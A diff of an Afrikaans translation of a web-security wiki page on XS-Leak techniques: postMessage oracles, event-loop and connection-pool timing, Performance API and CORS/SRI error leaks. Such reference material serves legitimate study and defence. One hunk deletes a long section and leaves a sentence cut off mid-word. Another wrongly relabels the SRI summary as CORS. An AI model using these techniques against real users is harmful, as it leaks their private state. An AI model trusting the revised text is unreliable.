@@ -186,9 +186,9 @@ Jy kan dieselfde aanval met **`portal`** etikette uitvoer.
 - **Waarneembare Verskil**: API Gebruik
 - **Meer inligting**: [https://xsleaks.dev/docs/attacks/postmessage-broadcasts/](https://xsleaks.dev/docs/attacks/postmessage-broadcasts/)
 - **Opsomming**: Versamel sensitiewe inligting van 'n postMessage of gebruik die teenwoordigheid van postMessages as 'n orakel om die status van die gebruiker op die bladsy te ken.
-- **Kode Voorbeeld**: `Enige kode wat na al die postMessages luister.`
+- **Kode Voorbeeld**: `Enige kode wat na alle postMessages luister.`
 
-Toepassings gebruik gereeld [`postMessage` uitzendings](https://developer.mozilla.org/en-US/docs/Web/API/Window/postMessage) om oor verskillende oorspronge te kommunikeer. Tog kan hierdie metode per ongeluk **sensitiewe inligting** blootstel as die `targetOrigin` parameter nie behoorlik gespesifiseer is nie, wat enige venster toelaat om die boodskappe te ontvang. Verder kan die blote daad van die ontvangs van 'n boodskap as 'n **orakel** optree; byvoorbeeld, sekere boodskappe mag slegs aan gebruikers wat ingelog is, gestuur word. Daarom kan die teenwoordigheid of afwesigheid van hierdie boodskappe inligting oor die gebruiker se toestand of identiteit onthul, soos of hulle geverifieer is of nie.
+Toepassings gebruik gereeld [`postMessage` uizendings](https://developer.mozilla.org/en-US/docs/Web/API/Window/postMessage) om oor verskillende oorspronge te kommunikeer. Tog kan hierdie metode onbedoeld **sensitiewe inligting** blootstel as die `targetOrigin` parameter nie behoorlik gespesifiseer is nie, wat enige venster toelaat om die boodskappe te ontvang. Verder kan die blote daad van die ontvangs van 'n boodskap as 'n **orakel** optree; byvoorbeeld, sekere boodskappe mag slegs aan gebruikers wat ingelog is, gestuur word. Daarom kan die teenwoordigheid of afwesigheid van hierdie boodskappe inligting oor die gebruiker se toestand of identiteit onthul, soos of hulle geverifieer is of nie.
 
 ## Globale Limiete Tegnieke
 
@@ -209,12 +209,12 @@ As een **oorsprong** die **maksimum aantal WebSocket** verbindingsobjekte gebrui
 - **Insluitingsmetodes**: Frames, Pop-ups
 - **Waarneembare Verskil**: API Gebruik
 - **Meer inligting**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.1)
-- **Opsomming**: Detecteer Betaling Versoek omdat slegs een op 'n slag aktief kan wees.
+- **Opsomming**: Detecteer Betaling Versoek omdat slegs een aktief kan wees op 'n slag.
 - **Kode Voorbeeld**: [https://xsinator.com/testing.html#Payment%20API%20Leak](https://xsinator.com/testing.html#Payment%20API%20Leak)
 
 Hierdie XS-Lek stel 'n aanvaller in staat om **te detecteer wanneer 'n kruis-oorsprong bladsy 'n betalingsversoek begin**.
 
-Omdat **slegs een betalingsversoek aktief kan wees** op dieselfde tyd, as die teikenwebwerf die Betaling Versoek API gebruik, sal enige verdere pogings om hierdie API te gebruik, misluk, en 'n **JavaScript uitsondering** veroorsaak. Die aanvaller kan dit benut deur **periodiek te probeer om die Betaling API UI te wys**. As een poging 'n uitsondering veroorsaak, gebruik die teikenwebwerf dit tans. Die aanvaller kan hierdie periodieke pogings verberg deur die UI onmiddellik na skepping te sluit.
+Omdat **slegs een betalingsversoek aktief kan wees** op 'n slag, as die teikenwebwerf die Betaling Versoek API gebruik, sal enige verdere pogings om hierdie API te gebruik, misluk, en 'n **JavaScript uitsondering** veroorsaak. Die aanvaller kan dit benut deur **periodiek te probeer om die Betaling API UI te wys**. As een poging 'n uitsondering veroorsaak, gebruik die teikenwebwerf dit tans. Die aanvaller kan hierdie periodieke pogings verberg deur die UI onmiddellik na skepping te sluit.
 
 ### Tydsberekening van die Gebeurtenislus <a href="#timing-the-event-loop" id="timing-the-event-loop"></a>
 
@@ -228,23 +228,23 @@ Omdat **slegs een betalingsversoek aktief kan wees** op dieselfde tyd, as die te
 event-loop-blocking-+-lazy-images.md
 {{#endref}}
 
-JavaScript werk op 'n [enkel-draad gebeurtenislus](https://developer.mozilla.org/en-US/docs/Web/JavaScript/EventLoop) mededinging model, wat aandui dat **dit slegs een taak op 'n slag kan uitvoer**. Hierdie eienskap kan benut word om te meet **hoe lank kode van 'n ander oorsprong neem om uit te voer**. 'n Aanvaller kan die uitvoeringstyd van hul eie kode in die gebeurtenislus meet deur voortdurend gebeurtenisse met vaste eienskappe te stuur. Hierdie gebeurtenisse sal verwerk word wanneer die gebeurtenispoel leeg is. As ander oorspronge ook gebeurtenisse na dieselfde poel stuur, kan 'n **aanvaller die tyd aflei wat dit neem vir hierdie eksterne gebeurtenisse om uit te voer deur die vertragings in die uitvoering van hul eie take te observeer**. Hierdie metode van die monitering van die gebeurtenislus vir vertragings kan die uitvoeringstyd van kode van verskillende oorspronge onthul, wat moontlik sensitiewe inligting blootstel.
+JavaScript werk op 'n [enkel-draad gebeurtenislus](https://developer.mozilla.org/en-US/docs/Web/JavaScript/EventLoop) mededinging model, wat aandui dat **dit slegs een taak op 'n slag kan uitvoer**. Hierdie eienskap kan benut word om **te meet hoe lank kode van 'n ander oorsprong neem om uit te voer**. 'n Aanvaller kan die uitvoeringstyd van hul eie kode in die gebeurtenislus meet deur voortdurend gebeurtenisse met vaste eienskappe te stuur. Hierdie gebeurtenisse sal verwerk word wanneer die gebeurtenispoel leeg is. As ander oorspronge ook gebeurtenisse na dieselfde poel stuur, kan 'n **aanvaller die tyd aflei wat dit neem vir hierdie eksterne gebeurtenisse om uit te voer deur die vertragings in die uitvoering van hul eie take te observeer**. Hierdie metode van die monitering van die gebeurtenislus vir vertragings kan die uitvoeringstyd van kode van verskillende oorspronge onthul, wat moontlik sensitiewe inligting blootstel.
 
 > [!WARNING]
-> In 'n uitvoering tydsberekening is dit moontlik om **netwerk faktore** te **elimineer** om **meer presiese metings** te verkry. Byvoorbeeld, deur die hulpbronne wat deur die bladsy gebruik word, te laai voordat dit gelaai word.
+> In 'n uitvoeringstyd is dit moontlik om **netwerkfaktore** te **elimineer** om **meer presiese metings** te verkry. Byvoorbeeld, deur die hulpbronne wat deur die bladsy gebruik word, te laai voordat dit gelaai word.
 
 ### Besige Gebeurtenislus <a href="#busy-event-loop" id="busy-event-loop"></a>
 
 - **Insluitingsmetodes**:
 - **Waarneembare Verskil**: Tydsberekening (generaal weens Bladsy Inhoud, Statuskode)
 - **Meer inligting**: [https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop](https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop)
-- **Opsomming:** Een metode om die uitvoeringstyd van 'n weboperasie te meet, behels die doelbewuste blokkering van die gebeurtenislus van 'n draad en dan die tydsduur te meet **hoe lank dit neem voordat die gebeurtenislus weer beskikbaar is**. Deur 'n blokkerende operasie (soos 'n lang berekening of 'n sinchroniese API-oproep) in die gebeurtenislus in te voeg, en die tyd te monitor wat dit neem voordat daaropvolgende kode begin uitvoer, kan 'n mens die duur van die take wat in die gebeurtenislus uitgevoer is, tydens die blokkeringsperiode aflei. Hierdie tegniek benut die enkel-draad aard van JavaScript se gebeurtenislus, waar take opeenvolgend uitgevoer word, en kan insigte bied in die prestasie of gedrag van ander operasies wat dieselfde draad deel.
+- **Opsomming:** Een metode om die uitvoeringstyd van 'n weboperasie te meet, behels die doelbewuste blokkering van die gebeurtenislus van 'n draad en dan die tydsduur te meet **hoe lank dit neem voordat die gebeurtenislus weer beskikbaar is**. Deur 'n blokkerende operasie (soos 'n lang berekening of 'n sinchroniese API oproep) in die gebeurtenislus in te voeg, en die tyd te monitor wat dit neem voordat daaropvolgende kode begin uitvoer, kan 'n mens die duur van die take wat in die gebeurtenislus uitgevoer is, tydens die blokkeringsperiode aflei. Hierdie tegniek benut die enkel-draad aard van JavaScript se gebeurtenislus, waar take sekwensieel uitgevoer word, en kan insigte bied in die prestasie of gedrag van ander operasies wat dieselfde draad deel.
 - **Kode Voorbeeld**:
 
-'n Beduidende voordeel van die tegniek om uitvoeringstyd te meet deur die gebeurtenislus te sluit, is die potensiaal om **Webwerf Isolasie** te omseil. **Webwerf Isolasie** is 'n sekuriteitskenmerk wat verskillende webwerwe in aparte prosesse skei, met die doel om te voorkom dat kwaadwillige webwerwe direk toegang tot sensitiewe data van ander webwerwe verkry. Tog, deur die uitvoeringstyd van 'n ander oorsprong te beïnvloed deur die gedeelde gebeurtenislus, kan 'n aanvaller indirek inligting oor daardie oorsprong se aktiwiteite onttrek. Hierdie metode staat nie op direkte toegang tot die ander oorsprong se data nie, maar eerder op die waarneming van die impak van daardie oorsprong se aktiwiteite op die gedeelde gebeurtenislus, en so die beskermende barriers wat deur **Webwerf Isolasie** gevestig is, ontduik.
+'n Beduidende voordeel van die tegniek om uitvoeringstyd te meet deur die gebeurtenislus te sluit, is die potensiaal om **Webwerf Isolasie** te omseil. **Webwerf Isolasie** is 'n sekuriteitskenmerk wat verskillende webwerwe in aparte prosesse skei, met die doel om te voorkom dat kwaadwillige webwerwe direk toegang tot sensitiewe data van ander webwerwe verkry. Tog, deur die uitvoeringstyd van 'n ander oorsprong te beïnvloed deur die gedeelde gebeurtenislus, kan 'n aanvaller indirek inligting oor daardie oorsprong se aktiwiteite onttrek. Hierdie metode staat nie op direkte toegang tot die ander oorsprong se data nie, maar eerder op die waarneming van die impak van daardie oorsprong se aktiwiteite op die gedeelde gebeurtenislus, en so die beskermende barriers wat deur **Webwerf Isolasie** gevestig is, te ontwyk.
 
 > [!WARNING]
-> In 'n uitvoering tydsberekening is dit moontlik om **netwerk faktore** te **elimineer** om **meer presiese metings** te verkry. Byvoorbeeld, deur die hulpbronne wat deur die bladsy gebruik word, te laai voordat dit gelaai word.
+> In 'n uitvoeringstyd is dit moontlik om **netwerkfaktore** te **elimineer** om **meer presiese metings** te verkry. Byvoorbeeld, deur die hulpbronne wat deur die bladsy gebruik word, te laai voordat dit gelaai word.
 
 ### Verbindingpoel
 
@@ -258,12 +258,12 @@ JavaScript werk op 'n [enkel-draad gebeurtenislus](https://developer.mozilla.org
 connection-pool-example.md
 {{#endref}}
 
-Browers gebruik sokke vir bedienerkommunikasie, maar as gevolg van die beperkte hulpbronne van die bedryfstelsel en hardeware, **is browers gedwing om 'n limiet** op die aantal gelyktydige sokke te plaas. Aanvallers kan hierdie beperking benut deur die volgende stappe:
+Blaaiers gebruik sokke vir bedienerkommunikasie, maar as gevolg van die beperkte hulpbronne van die bedryfstelsel en hardeware, **is blaaiers gedwing om 'n limiet** op die aantal gelyktydige sokke te plaas. Aanvallers kan hierdie beperking benut deur die volgende stappe:
 
-1. Bepaal die browser se sokkelimiet, byvoorbeeld, 256 globale sokke.
+1. Bepaal die blaaiers sokkelimiet, byvoorbeeld, 256 globale sokke.
 2. Beset 255 sokke vir 'n lang tyd deur 255 versoeke na verskillende gasheers te begin, ontwerp om die verbindings oop te hou sonder om te voltooi.
 3. Gebruik die 256ste sok om 'n versoek na die teikenbladsy te stuur.
-4. Probeer 'n 257ste versoek na 'n ander gasheer. Aangesien al die sokke in gebruik is (soos per stappe 2 en 3), sal hierdie versoek gequeue word totdat 'n sok beskikbaar word. Die vertraging voordat hierdie versoek voortgaan, bied die aanvaller tyds-inligting oor die netwerkaktiwiteit wat verband hou met die 256ste sok (die teikenbladsy se sok). Hierdie afleiding is moontlik omdat die 255 sokke van stap 2 steeds betrokke is, wat impliseer dat enige nuut beskikbare sok die een moet wees wat van stap 3 vrygestel is. Die tyd wat die 256ste sok neem om beskikbaar te word, is dus direk gekoppel aan die tyd wat benodig word vir die versoek na die teikenbladsy om te voltooi.
+4. Probeer 'n 257ste versoek na 'n ander gasheer. Aangesien al die sokke in gebruik is (soos per stappe 2 en 3), sal hierdie versoek in die tou wees totdat 'n sok beskikbaar word. Die vertraging voordat hierdie versoek voortgaan, bied die aanvaller tyds-inligting oor die netwerkaktiwiteit wat met die 256ste sok (die teikenbladsy se sok) verband hou. Hierdie afleiding is moontlik omdat die 255 sokke van stap 2 steeds betrokke is, wat impliseer dat enige nuut beskikbare sok die een moet wees wat van stap 3 vrygestel is. Die tyd wat die 256ste sok neem om beskikbaar te word, is dus direk gekoppel aan die tyd wat benodig word vir die versoek na die teikenbladsy om te voltooi.
 
 Vir meer inligting: [https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/](https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/)
 
@@ -272,157 +272,7 @@ Vir meer inligting: [https://xsleaks.dev/docs/attacks/timing-attacks/connection-
 - **Insluitingsmetodes**: JavaScript Versoeke
 - **Waarneembare Verskil**: Tydsberekening (generaal weens Bladsy Inhoud, Statuskode)
 - **Meer inligting**:
-- **Opsomming:** Dit is soos die vorige tegniek, maar in plaas daarvan om al die sokke te gebruik, plaas Google **Chrome** 'n limiet van **6 gelyktydige versoeke na die selfde oorsprong**. As ons **5 blokkeer** en dan 'n **6de** versoek **afskiet**, kan ons dit **tyd** en as ons daarin slaag om die **slagofferbladsy meer versoeke** na dieselfde eindpunt te laat stuur om 'n **status** van die **bladsy** te detecteer, sal die **6de versoek** **langer** neem en kan ons dit detecteer.
-
-## Prestasie API Tegnieke
-
-Die [`Performance API`](https://developer.mozilla.org/en-US/docs/Web/API/Performance) bied insigte in die prestasiemetings van webtoepassings, verder verryk deur die [`Resource Timing API`](https://developer.mozilla.org/en-US/docs/Web/API/Resource_Timing_API). Die Resource Timing API stel die monitering van gedetailleerde netwerk versoek tydsduur moontlik, soos die duur van die versoeke. Opmerklik is dat wanneer bedieners die `Timing-Allow-Origin: *` header in hul antwoorde insluit, addisionele data soos die oordraggrootte en domein soektijd beskikbaar word.
-
-Hierdie rykdom van data kan verkry word via metodes soos [`performance.getEntries`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/getEntries) of [`performance.getEntriesByName`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/getEntriesByName), wat 'n omvattende oorsig van prestasie-verwante inligting bied. Daarbenewens fasiliteer die API die meting van uitvoeringstye deur die verskil tussen tydstempels wat verkry is van [`performance.now()`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/now) te bereken. Dit is egter die moeite werd om op te let dat vir sekere operasies in browers soos Chrome, die presisie van `performance.now()` moontlik beperk is tot millisekondes, wat die granulariteit van tydsmetings kan beïnvloed.
-
-Buiten tydsmetings kan die Prestasie API benut word vir sekuriteitsverwante insigte. Byvoorbeeld, die teenwoordigheid of afwesigheid van bladsye in die `performance` objek in Chrome kan die toepassing van `X-Frame-Options` aandui. Spesifiek, as 'n bladsy geblokkeer word om in 'n raam te render as gevolg van `X-Frame-Options`, sal dit nie in die `performance` objek geregistreer word nie, wat 'n subtiele leidraad oor die bladsy se raambeleid bied.
-
-### Fout Lek
-
-- **Insluitingsmetodes**: Frames, HTML Elemente
-- **Waarneembare Verskil**: Statuskode
-- **Meer inligting**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
-- **Opsomming:** 'n Versoek wat in foute eindig, sal nie 'n hulpbron tydsduur inskrywing skep nie.
-- **Kode Voorbeeld**: [https://xsinator.com/testing.html#Performance%20API%20Error%20Leak](https://xsinator.com/testing.html#Performance%20API%20Error%20Leak)
-
-Dit is moontlik om **te onderskei tussen HTTP antwoordstatuskodes** omdat versoeke wat tot 'n **fout** lei, **nie 'n prestasie inskrywing** skep nie.
-
-### Styl Herlaai Fout
-
-- **Insluitingsmetodes**: HTML Elemente
-- **Waarneembare Verskil**: Statuskode
-- **Meer inligting**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
-- **Opsomming:** As gevolg van 'n browser fout, word versoeke wat in foute eindig, twee keer gelaai.
-- **Kode Voorbeeld**: [https://xsinator.com/testing.html#Style%20Reload%20Error%20Leak](https://xsinator.com/testing.html#Style%20Reload%20Error%20Leak)
-
-In die vorige tegniek is daar ook twee gevalle geïdentifiseer waar browser foute in GC lei tot **hulpbronne wat twee keer gelaai word wanneer hulle misluk om te laai**. Dit sal lei tot meerdere inskrywings in die Prestasie API en kan dus gedetecteer word.
-
-### Versoek Samesmelting Fout
-
-- **Insluitingsmetodes**: HTML Elemente
-- **Waarneembare Verskil**: Statuskode
-- **Meer inligting**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
-- **Opsomming:** Versoeke wat in 'n fout eindig, kan nie saamgevoeg word nie.
-- **Kode Voorbeeld**: [https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak](https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak)
-
-Die tegniek is in 'n tabel in die genoemde papier gevind, maar geen beskrywing van die tegniek is daarin gevind nie. Tog kan jy die bronkode vind wat daarna kyk in [https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak](https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak)
-
-### Leë Bladsy Lek
-
-- **Insluitingsmetodes**: Frames
-- **Waarneembare Verskil**: Bladsy Inhoud
-- **Meer inligting**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
-- **Opsomming:** Leë antwoorde skep nie hulpbron tydsduur inskrywings nie.
-- **Kode Voorbeeld**: [https://xsinator.com/testing.html#Performance%20API%20Empty%20Page%20Leak](https://xsinator.com/testing.html#Performance%20API%20Empty%20Page%20Leak)
-
-'n Aanvaller kan detecteer of 'n versoek tot 'n leë HTTP antwoord liggaam gelei het omdat **leë bladsye nie 'n prestasie inskrywing in sommige browers** skep nie.
-
-### **XSS-Auditor Lek**
-
-- **Insluitingsmetodes**: Frames
-- **Waarneembare Verskil**: Bladsy Inhoud
-- **Meer inligting**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
-- **Opsomming:** Deur die XSS Auditor in Sekuriteits Aserte te gebruik, kan aanvallers spesifieke webblad elemente detecteer deur veranderinge in antwoorde waar te neem wanneer vervaardigde payloads die auditor se filtreringsmeganisme aktiveer.
-- **Kode Voorbeeld**: [https://xsinator.com/testing.html#Performance%20API%20XSS%20Auditor%20Leak](https://xsinator.com/testing.html#Performance%20API%20XSS%20Auditor%20Leak)
-
-In Sekuriteits Aserte (SA), kan die XSS Auditor, oorspronklik bedoel om Cross-Site Scripting (XSS) aanvalle te voorkom, ironies benut word om sensitiewe inligting te lek. Alhoewel hierdie ingeboude kenmerk uit Google Chrome (GC) verwyder is, is dit steeds teenwoordig in SA. In 2013 het Braun en Heiderich getoon dat die XSS Auditor per ongeluk wettige skripte kan blokkeer, wat lei tot vals positiewe. Gebaseer op hierdie, het navorsers tegnieke ontwikkel om inligting te onttrek en spesifieke inhoud op kruis-oorsprong bladsye te detecteer, 'n konsep bekend as XS-Leaks, aanvanklik gerapporteer deur Terada en verder uitgewerk deur Heyes in 'n blogpos. Alhoewel hierdie tegnieke spesifiek vir die XSS Auditor in GC was, is daar ontdek dat in SA, bladsye wat deur die XSS Auditor geblokkeer word, nie inskrywings in die Prestasie API genereer nie, wat 'n metode onthul waardeur sensitiewe inligting steeds gelekt kan word.
-
-### X-Frame Lek
-
-- **Insluitingsmetodes**: Frames
-- **Waarneembare Verskil**: Header
-- **Meer inligting**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2), [https://xsleaks.github.io/xsleaks/examples/x-frame/index.html](https://xsleaks.github.io/xsleaks/examples/x-frame/index.html), [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-x-frame-options](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-x-frame-options)
-- **Opsomming:** Hulpbron met X-Frame-Options header skep nie hulpbron tydsduur inskrywing nie.
-- **Kode Voorbeeld**: [https://xsinator.com/testing.html#Performance%20API%20X-Frame%20Leak](https://xsinator.com/testing.html#Performance%20API%20X-Frame%20Leak)
-
-As 'n bladsy **nie toegelaat** word om in 'n **iframe** **gerender** te word nie, sal dit **nie 'n prestasie inskrywing** skep nie. As gevolg hiervan kan 'n aanvaller die antwoord header **`X-Frame-Options`** detecteer.\
-Dieselfde gebeur as jy 'n **embed** **etiket** gebruik.
-
-### Aflaai Detectie
-
-- **Insluitingsmetodes**: Frames
-- **Waarneembare Verskil**: Header
-- **Meer inligting**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
-- **Opsomming:** Aflaaie skep nie hulpbron tydsduur inskrywings in die Prestasie API nie.
-- **Kode Voorbeeld**: [https://xsinator.com/testing.html#Performance%20API%20Download%20Detection](https://xsinator.com/testing.html#Performance%20API%20Download%20Detection)
-
-Soortgelyk aan die XS-Lek wat beskryf is, 'n **hulpbron wat afgelaai** word as gevolg van die ContentDisposition header, skep ook **nie 'n prestasie inskrywing** nie. Hierdie tegniek werk in alle groot browers.
-
-### Oorplasing Begin Lek
-
-- **Insluitingsmetodes**: Frames
-- **Waarneembare Verskil**: Oorplasing
-- **Meer inligting**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
-- **Opsomming:** Hulpbron tydsduur inskrywing lek die begin tyd van 'n oorplasing.
-- **Kode Voorbeeld**: [https://xsinator.com/testing.html#Redirect%20Start%20Leak](https://xsinator.com/testing.html#Redirect%20Start%20Leak)
-
-Ons het een XS-Lek geval gevind wat die gedrag van sommige browers misbruik wat te veel inligting vir kruis-oorsprong versoeke log. Die standaard definieer 'n substel van eienskappe wat op nul gestel moet word vir kruis-oorsprong hulpbronne. Tog, in **SA** is dit moontlik om te detecteer of die gebruiker **oorplaas** is deur die teikenbladsy, deur die **Prestasie API** te ondervra en te kyk vir die **redirectStart tydsdata**.
-
-### Duur Oorplasing Lek
-
-- **Insluitingsmetodes**: Fetch API
-- **Waarneembare Verskil**: Oorplasing
-- **Meer inligting**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
-- **Opsomming:** Die duur van tydsinskrywings is negatief wanneer 'n oorplasing plaasvind.
-- **Kode Voorbeeld**: [https://xsinator.com/testing.html#Duration%20Redirect%20Leak](https://xsinator.com/testing.html#Duration%20Redirect%20Leak)
-
-In GC is die **duur** vir versoeke wat in 'n **oorplasing** eindig **negatief** en kan dus **onderskei** word van versoeke wat nie in 'n oorplasing eindig nie.
-
-### CORP Lek
-
-- **Insluitingsmetodes**: Frames
-- **Waarneembare Verskil**: Header
-- **Meer inligting**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
-- **Opsomming:** Hulpbron wat met CORP beskerm word, skep nie hulpbron tydsduur inskrywings nie.
-- **Kode Voorbeeld**: [https://xsinator.com/testing.html#Performance%20API%20CORP%20Leak](https://xsinator.com/testing.html#Performance%20API%20CORP%20Leak)
-
-In sommige gevalle kan die **nextHopProtocol inskrywing** as 'n lek tegniek gebruik word. In GC, wanneer die **CORP header** gestel is, sal die nextHopProtocol **leeg** wees. Let daarop dat SA glad nie 'n prestasie inskrywing vir CORP-geaktiveerde hulpbronne sal genereer nie.
-
-### Dienswerker
-
-- **Insluitingsmetodes**: Frames
-- **Waarneembare Verskil**: API Gebruik
-- **Meer inligting**: [https://www.ndss-symposium.org/ndss-paper/awakening-the-webs-sleeper-agents-misusing-service-workers-for-privacy-leakage/](https://www.ndss-symposium.org/ndss-paper/awakening-the-webs-sleeper-agents-misusing-service-workers-for-privacy-leakage/)
-- **Opsomming:** Detecteer of 'n dienswerker geregistreer is vir 'n spesifieke oorsprong.
-- **Kode Voorbeeld**:
-
-Dienswerkers is gebeurtenis-gedrewe skrip konteks wat by 'n oorsprong loop. Hulle loop in die agtergrond van 'n webblad en kan hulpbronne **onderbreek**, **wysig**, en **kas** om 'n offline webtoepassing te skep.\
-As 'n **hulpbron wat in 'n **dienswerker** gekas** is, via **iframe** toeganklik gemaak word, sal die hulpbron **uit die dienswerker kas gelaai** word.\
-Om te detecteer of die hulpbron **uit die dienswerker** kas gelaai is, kan die **Prestasie API** gebruik word.\
-Dit kan ook gedoen word met 'n Tydsaanval (kyk die papier vir meer inligting).
-
-### Kas
-
-- **Insluitingsmetodes**: Fetch API
-- **Waarneembare Verskil**: Tydsberekening
-- **Meer inligting**: [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources)
-- **Opsomming:** Dit is moontlik om te kyk of 'n hulpbron in die kas gestoor is.
-- **Kode Voorbeeld**: [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources), [https://xsinator.com/testing.html#Cache%20Leak%20(POST)](<https://xsinator.com/testing.html#Cache%20Leak%20(POST)>)
-
-Met die [Prestasie API](./#performance-api) is dit moontlik om te kyk of 'n hulpbron gekas is.
-
-### Netwerk Duur
-
-- **Insluitingsmetodes**: Fetch API
-- **Waarneembare Verskil**: Bladsy Inhoud
-- **Meer inligting**: [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration)
-- **Opsomming:** Dit is moontlik om die netwerkduur van 'n versoek van die `performance` API te verkry.
-- **Kode Voorbeeld**: [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration)
-
-## Foutboodskappe Tegniek
-
-### Media Fout
-
-- **Insluitingsmetodes**: HTML Elemente (Video, Audio)
-- **Waarneembare Verskil**: Statuskode
-- **Meer inligting**: [https://bugs.chromium.org/p/chromium/issues/detail?id=828265](https://bugs.chromium.org/p/chromium/issues/detail?id=828265)
-- **Opsomming:** In Firefox is dit moontlik om akkuraat 'n kruis-oorsprong versoek se statuskode te lek.
-- **Kode Voorbeeld**: [https://jsbin.com/nejatopusi/1/edit?html,css,js,output](https://jsbin.com/nejatopusi/1/edit?html,css,js,output)
+- **Opsomming:** Dit is soos die vorige tegniek, maar in plaas daarvan om al die sokke te gebruik, plaas Google **Chrome** 'n limiet van **6 gelyktydige versoeke na die selfde oorsprong**. As ons **5 blokkeer** en dan 'n **6de** versoek **afskiet**, kan ons dit **tyd** en as ons daarin slaag om die **slagofferbladsy meer
 ```javascript
 // Code saved here in case it dissapear from the link
 // Based on MDN MediaError example: https://mdn.github.io/dom-examples/media/mediaerror/
@@ -475,32 +325,32 @@ Die `MediaError` koppelvlak se boodskap eienskap identifiseer uniek hulpbronne w
 ### CORS Fout
 
 - **Insluitingsmetodes**: Fetch API
-- **Waarneembare Verskil**: Kop
+- **Waarneembare Verskil**: Header
 - **Meer inligting**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.3)
-- **Opsomming:** In Veiligheidsbevestigings (SA) stel CORS-foutboodskappe onbedoeld die volle URL van omgeleide versoeke bloot.
+- **Opsomming:** In Veiligheidsbevestigings (SA) stel CORS foutboodskappe onbedoeld die volle URL van omgeleide versoeke bloot.
 - **Kode Voorbeeld**: [https://xsinator.com/testing.html#CORS%20Error%20Leak](https://xsinator.com/testing.html#CORS%20Error%20Leak)
 
-Hierdie tegniek stel 'n aanvaller in staat om **die bestemming van 'n kruis-oorsprong webwerf se omleiding te onttrek** deur te benut hoe Webkit-gebaseerde blaaiers CORS versoeke hanteer. Spesifiek, wanneer 'n **CORS-geaktiveerde versoek** na 'n teikenwebwerf gestuur word wat 'n omleiding op grond van gebruikersstatus uitreik en die blaaier die versoek daarna ontken, word die **volle URL van die omleiding se teiken** binne die foutboodskap bekendgemaak. Hierdie kwesbaarheid onthul nie net die feit van die omleiding nie, maar stel ook die omleiding se eindpunt en enige **sensitiewe navraagparameters** wat dit mag bevat, bloot.
+Hierdie tegniek stel 'n aanvaller in staat om **die bestemming van 'n kruis-oorsprong webwerf se omleiding te onttrek** deur te benut hoe Webkit-gebaseerde blaaiers CORS versoeke hanteer. Spesifiek, wanneer 'n **CORS-geaktiveerde versoek** na 'n teikenwebwerf gestuur word wat 'n omleiding op grond van gebruikersstatus uitreik en die blaaiers die versoek daarna ontken, word die **volle URL van die omleiding se teiken** binne die foutboodskap bekendgemaak. Hierdie kwesbaarheid onthul nie net die feit van die omleiding nie, maar stel ook die omleiding se eindpunt en enige **sensitiewe navraagparameters** wat dit mag bevat, bloot.
 
 ### SRI Fout
 
 - **Insluitingsmetodes**: Fetch API
-- **Waarneembare Verskil**: Kop
+- **Waarneembare Verskil**: Header
 - **Meer inligting**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.3)
-- **Opsomming:** In Veiligheidsbevestigings (SA) stel SRI-foutboodskappe onbedoeld die volle URL van omgeleide versoeke bloot.
+- **Opsomming:** In Veiligheidsbevestigings (SA) stel CORS foutboodskappe onbedoeld die volle URL van omgeleide versoeke bloot.
 - **Kode Voorbeeld**: [https://xsinator.com/testing.html#SRI%20Error%20Leak](https://xsinator.com/testing.html#SRI%20Error%20Leak)
 
-'n Aanvaller kan **uitgebreide foutboodskappe** benut om die grootte van kruis-oorsprong antwoorde af te lei. Dit is moontlik as gevolg van die meganisme van Subresource Integrity (SRI), wat die integriteitseienskap gebruik om te verifieer dat hulpbronne wat opgevraag is, dikwels van CDN's, nie gemanipuleer is nie. Vir SRI om op kruis-oorsprong hulpbronne te werk, moet hierdie **CORS-geaktiveerd** wees; anders is hulle nie onderhewig aan integriteitskontroles nie. In Veiligheidsbevestigings (SA), net soos die CORS-fout XS-Leak, kan 'n foutboodskap vasgevang word nadat 'n fetch versoek met 'n integriteitseienskap misluk. Aanvallers kan doelbewus **hierdie fout ontlok** deur 'n **vals hash waarde** aan die integriteitseienskap van enige versoek toe te ken. In SA onthul die resulterende foutboodskap onbedoeld die inhoudslengte van die aangevraagde hulpbron. Hierdie inligtingslek kan 'n aanvaller in staat stel om variasies in responsgrootte te onderskei, wat die weg baan vir gesofistikeerde XS-Leak-aanvalle.
